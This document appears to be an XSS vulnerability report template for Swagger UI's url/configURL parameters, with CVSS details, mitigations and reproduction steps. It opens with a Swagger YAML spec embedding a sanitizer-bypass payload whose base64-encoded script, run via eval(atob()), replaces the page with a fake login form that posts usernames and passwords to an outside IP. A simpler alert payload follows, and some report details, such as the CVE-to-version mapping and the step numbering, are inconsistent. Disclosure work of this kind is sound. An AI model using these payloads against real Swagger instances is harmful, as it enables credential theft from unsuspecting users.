Swagger-UI XSS Vulnerability Report Template

swagger: '2.0'
info:
  title: XSS Attack BY M0X0101
  description: |
    <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img src=x id='ZG9jdW1lbnQuYm9keS5pbm5lckhUTUw9Jyc7IHZhciBhPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2Zvcm0nKTthLmFjdGlvbj0iaHR0cDovLzE3Mi4zMS4yMDQuMTU1OjEzMzciO2EubWV0aG9kPSdQT1NUJzthLmlubmVySFRNTD0nPGNlbnRlcj5Vc2VybmFtZTogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJOYW1lIj48YnI+UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icHdkIj48YnI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj48L2NlbnRlcj4nOyBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw==' onerror='eval(atob(this.id))'>"></form>
  version: production
basePath: /JSSResource/
produces:
  - application/xml
  - application/json
consumes:
  - application/xml
  - application/json
security:
  - basicAuth: []
paths:
  /M0X0101:
    get:
      responses:
        '200':
          description: No response was specified
      tags:
        - M0X0101_XSS_D
      operationId: findAccounts
      summary: Finds all accounts
  '/hack/hachid/{id}':
    delete:
      parameters:
        - description: |
            <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img src=x id='ZG9jdW1lbnQuYm9keS5pbm5lckhUTUw9Jyc7IHZhciBhPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2Zvcm0nKTthLmFjdGlvbj0iaHR0cDovLzE3Mi4zMS4yMDQuMTU1OjEzMzciO2EubWV0aG9kPSdQT1NUJzthLmlubmVySFRNTD0nPGNlbnRlcj5Vc2VybmFtZTogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJOYW1lIj48YnI+UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icHdkIj48YnI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj48L2NlbnRlcj4nOyBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw==' onerror='eval(atob(this.id))'>"></form>
          format: int64
          in: path
          name: id
          required: true
          type: integer
      responses:
        '200':
          description: No response was specified

Swagger Reflected XSS Vulnerability in “URL/configURL” Parameter on “Endpoint”

Overview

• Vulnerability Type: Reflected #Cross-Site Scripting (XSS)

• Affected Component: Swagger UI

• Location: https://the-red.team/templates/swagger-xss

• Parameter: URL/configURL

• Severity: Medium (6.1)

• CVE ID: CVE-2016-1000229

• CVSS: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Description

An XSS vulnerability has been identified in the Swagger UI component, specifically in its handling of YAML configuration files imported via the url and configURL parameters. This vulnerability arises due to inadequate input validation and sanitization of user-supplied data in the Swagger UI interface, allowing an attacker to inject and execute arbitrary JavaScript code within the context of a user’s browser.

Impact

If successfully exploited, this vulnerability could lead to various attacks, including but not limited to:

• Session hijacking

• Data theft

• Malicious code execution

• Defacement of the application

Affected Versions:

• The vulnerability has been confirmed in the following versions: Swagger UI 3.14.0 < 3.38.0

Other versions might also be affected, and it is recommended to assess all versions of the Swagger UI component.

Recommendation:

To mitigate the risk associated with this vulnerability, the following actions are recommended:

1. Update: Apply the latest patches or updates provided by the vendor to address this vulnerability. (See https://swagger.io/tools/swagger-ui/)

2. Input Sanitization: Implement strict input validation and sanitization mechanisms to prevent malicious inputs from being processed. 3 .Content Security Policy (CSP): Enforce a robust CSP to restrict the execution of unauthorized scripts.

3. Security Headers: Configure appropriate security headers (e.g., X-XSS-Protection) to enhance browser security.

4. Regular Security Audits: Conduct regular security audits and penetration testing to identify and remediate vulnerabilities proactively.

Steps to Reproduce:

The following steps demonstrate how an attacker could exploit this vulnerability:

1. Access the Swagger UI interface located at vulnerable-url.com/swagger

2. Access the payload using https://the-red.team/poc/swagger-xss.yaml or host the file below, making sure to set the proper headers so the endpoint can access it.

swagger: '2.0'
info:
  title: Example yaml.spec
  description: |
    <math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' onerror='alert(window.origin)'>">
paths:
  /accounts:
    get:
      responses:
        '200':
          description: No response was specified
      tags:
        - accounts
      operationId: findAccounts
      summary: Finds all accounts

1. Import a YAML configuration file using the “url” or “configURL” parameter.

2. Inject and submit a malicious JavaScript payload within the YAML file.

3. Observe if the payload gets executed within the context of the application.

Proof of Concept (PoC):

Visit the following url to see that the script is executed: https://test.test/swagger?url=https://the-red.team/poc/swagger-xss.yaml

Additional Information:

Vendor Advisory: [Link to vendor advisory, if available] CVE Details: [Link to CVE details, if applicable]

Contact: [Your contact information] Date Reported: [Date of reporting] PoC YAML file: